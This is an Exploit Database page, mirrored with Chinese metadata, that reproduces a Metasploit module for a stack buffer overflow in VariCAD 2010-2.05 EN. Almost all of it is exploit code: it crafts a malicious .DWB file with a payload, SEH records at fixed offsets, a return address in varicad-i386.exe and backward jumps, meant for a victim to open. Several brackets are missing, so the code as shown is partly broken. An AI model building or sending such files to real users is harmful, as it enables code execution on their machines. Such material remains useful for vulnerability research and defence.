VariCAD 2010-2.05 EN – ‘.DWB’ Local Stack Buffer Overflow (Metasploit)

Exploit Database
148 阅读

作者： Metasploit

日期： 2010-04-05
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16644/

# $Id: varicad_dwb.rb 9020 2010-04-05 20:45:21Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.

An attacker must send the file to victim and the victim must open the file.

'License'=> MSF_LICENSE,

'Author' =>

[

'n00b',# first public exploit

'dookie',# metasploit first pass

'MC',# cleanup pass 1 & second offset

'jduck'# cleanup pass 2 & combined offsets

'Version'=> '$Revision: 9020 $',

'References' =>

[

[ 'OSVDB', '63067' ],

[ 'BID', '38815' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11789' ]

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x0a\x3d",

'StackAdjustment' => -3500,

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe

'Privileged' => false,

'DisclosureDate' => 'Mar 17 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.dwb']),

], self.class)

end

def exploit

header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"

sploit = rand_text_alpha_upper(1000) * 50

# Add SEH frames..

seh = generate_seh_record(target.ret)

offsets = [ 26252, 22856 ]

sploit[0,payload.encoded.length] = payload.encoded

offsets.each { |off|

sploit[off,seh.length] = seh

distance = seh.length + off

jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

sploit[off+seh.length,jmp.length] = jmp

}

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(header + sploit)

end